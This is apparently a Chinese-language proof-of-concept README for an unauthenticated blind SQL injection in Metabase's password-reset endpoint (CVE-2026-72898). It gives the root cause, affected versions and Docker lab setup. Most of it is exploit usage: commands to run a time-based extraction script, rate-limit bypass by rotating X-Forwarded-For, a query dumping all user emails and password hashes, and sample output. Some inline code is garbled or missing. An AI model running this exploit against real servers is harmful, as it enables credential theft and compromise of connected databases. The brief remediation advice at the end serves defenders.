★ CVE-2026-72898 Metabase /api/session/reset_password 未认证盲 SQL 注入 PoC ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 是 Metabase 中的一个未认证 SQL 注入漏洞(CVSS 10.0),可通过公开的
POST /api/session/reset_password端点访问。 该端点将请求体与(失败的)认证结果合并 —(merge request (authenticate ...))— 因此攻击者提供的user-id字段会原样保留,并进入应用数据库的用户查询t2/select-one :model/User :id user-id,没有任何整数校验。 Metabase 使用 HoneySQL 构建 SQL,其{:raw "..."}映射会被编译为原始 SQL 片段(无参数绑定)。因此,将user-id发送为 即可向应用数据库注入任意 SQL。 该端点始终返回 ,因此注入是;数据通过 进行恢复(生产标准的 Postgres 应用数据库)。成功利用可获取 Metabase 管理员数据、每个已连接数据源的存储连接凭据,并可完全渗透到这些数据库。
{"raw":"<SQL>"}400pg_sleep| 类别 | 版本 |
|---|---|
| 受影响 | Metabase(OSS 0.x / EE 1.x)v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| 已修复 | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 或更高版本 |
pos-int? 检查,因此非整数的 user-id 会在查询前被拒绝构建并运行存在漏洞的 Metabase。它使用 Postgres 应用数据库(必需 — 基于时间的
技术需要 pg_sleep,而 H2 不具备此功能),并自动完成首次设置,因此它会
启动到登录页面。启动大约需要 40–60 秒。
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| 前置条件 | 本实验环境中的状态 |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Postgres 应用数据库(启用 pg_sleep) | 已包含在镜像中 |
/api/session/reset_password 可未认证访问 | 已暴露 |
| 每 IP 重置限流(通过轮换 X-Forwarded-For 绕过) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
利用脚本 metabase_exploit.py 可在无需任何凭据的情况下读取您指定的任何值,使用
基于时间的盲注原语。它每次请求都会发送一个新的随机 X-Forwarded-For 以绕过
每 IP 速率限制(与真实攻击中的做法一致)。使用 --extract "<SQL>" 选择目标。
# 默认:提取管理员邮箱
python3 metabase_exploit.py 172.17.0.2:3000
# 提取您想要的任何内容(任意 SQL 标量表达式)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
选项:
--check — 仅确认注入是否可利用(显示 pg_sleep 时间差异)--extract "<SQL>" — 任意标量 SQL 表达式(自动转换为文本)--sleep 0.4 — 每个 TRUE 位的延迟(在慢速/远程目标上可调高)POST /api/session/reset_passwordcore_session),审查管理员账户和 API 密钥,并轮换每个已连接数据源的连接凭据(如果该端点可通过互联网访问,请假设它们已暴露)